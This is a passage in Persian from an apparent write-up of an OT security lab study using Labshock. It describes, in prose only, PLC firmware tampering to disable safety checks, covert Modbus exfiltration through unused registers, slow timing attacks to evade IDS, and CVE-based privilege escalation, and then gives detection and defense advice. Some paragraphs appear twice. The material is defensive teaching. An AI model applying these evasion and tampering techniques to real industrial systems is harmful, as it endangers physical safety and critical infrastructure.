نمونه‌ای از حمله Firmware Hijacking؛ مهاجم با تغییر در Firmware اصلی PLC (مثلاً حذف یا غیرفعال‌کردن تابع safety_check) می‌تواند کنترل کامل سیستم ایمنی را دور بزند.

آپلود فریمور دستکاری‌شده روی PLC باعث می‌شود رفتار دستگاه به ظاهر طبیعی باشد، اما حفاظت‌ها عملاً بی‌اثر شوند.

 

Covert Channel : استفاده از Unused Registers برای Exfiltration (استخراج) داده.

نمونه‌ای از حمله Covert Channel؛ مهاجم داده‌های حساس (مثل رمزعبور یا کلید رمزنگاری) را در رجیسترهای بلااستفاده PLC پنهان می‌کند و سپس آن‌ها را از طریق پروتکل Modbus به بیرون منتقل می‌کند. این روش استخراج داده معمولاً از دید اپراتورها و IDSها پنهان می‌ماند.

نمونه‌ای از حمله Covert Channel؛ مهاجم داده‌های حساس (مثل رمزعبور یا کلید رمزنگاری) را در رجیسترهای بلااستفاده PLC پنهان می‌کند و

سپس آن‌ها را از طریق پروتکل Modbus به بیرون منتقل می‌کند. این روش استخراج داده معمولاً از دید اپراتورها و IDSها پنهان می‌ماند.

 

Timing-Based Evasion : حملات آهسته برای فرار از Rate Limiting 

نمونه‌ای از حمله Timing-Based Evasion؛ مهاجم درخواست‌های مخرب خود را با فاصله‌های زمانی طولانی (مثلاً هر ۶۰ ثانیه یک بار) به PLC ارسال می‌کند. این روش باعث می‌شود که الگوی حمله در ترافیک عادی شبکه پنهان شده و سامانه‌های تشخیص نفوذ (IDS) قادر به شناسایی سریع آن نباشند.

نمونه‌ای از حمله Timing-Based Evasion؛ مهاجم درخواست‌های مخرب خود را با فاصله‌های زمانی طولانی (مثلاً هر ۶۰ ثانیه یک بار) به PLC ارسال می‌کند.

این روش باعث می‌شود که الگوی حمله در ترافیک عادی شبکه پنهان شده و سامانه‌های تشخیص نفوذ (IDS) قادر به شناسایی سریع آن نباشند.

 Privilege Escalation در EWS : سوءاستفاده از CVEها برای رسیدن به دسترسی ادمین.

 

بخش چهارم: تحلیل و تشخیص حملات

با استفاده از IDS، ترافیک را بررسی می‌کنیم. حملات ساده همانند Write Coil ممکن است به‌عنوان فعالیت عادی دیده شوند، چرا که Modbus  سیستمی برای احراز هویت ندارد. در تب IT و در قسمت SIEM با استفاده از جستجو می‌توانید تغییرات مشکوک را بیابید.
 

بخش پنجم: توصیه‌های دفاعی

برای تقویت Security Posture در محیط‌های :OT 

  • Network Segmentation: در Micro-Segmentation  با Data Diodes  و فایروال‌های Protocol-Aware (DPI) 
  • Anomaly Detection : مدل‌های ML-based برای تشخیص رفتار غیرعادی.
  • Cryptographic Protection : استفاده از TLS برای  Modbus 
  • Honeypots  صنعتی: شبیه‌سازی PLCهای جعلی برای فریب مهاجمان.
  • Compliance : رعایت استانداردهای  IEC 62443، NIST 800-82 و ISO 27001

بخش ششم: نتیجه‌گیری و لزوم اتخاذ رویکرد دفاع در عمق

 این پژوهش عملی نشان داد که محیط‌های شبیه‌سازی مانند Labshock ابزاری حیاتی برای درک و تحلیل تهدیدات سایبری در دنیای OT هستند. آسیب‌پذیری‌های ذاتی در پروتکل‌های صنعتی، در صورت عدم وجود کنترل‌های امنیتی لایه‌ای، به مهاجمان اجازه می‌دهند تا با دانش فنی متوسط، کنترل فرآیندهای فیزیکی را به دست گرفته و اختلالات جدی ایجاد کنند.

امنیت در دنیای OT یک محصول نیست، بلکه یک فرآیند مستمر است که نیازمند رویکرد دفاع در عمق        

(Defense-in-Depth)، دیده‌بانی مداوم و درک عمیق از تکنیک‌ها، تاکتیک‌ها و رویه‌های (TTPs) مهاجمان است. پیاده‌سازی صحیح تقسیم‌بندی شبکه، استفاده از سیستم‌های تشخیص نفوذ ویژه OT و مانیتورینگ یکپارچه رفتار شبکه، گام‌های اساسی برای حفاظت از زیرساخت‌های حیاتی در برابر تهدیدات روزافزون سایبری هستند.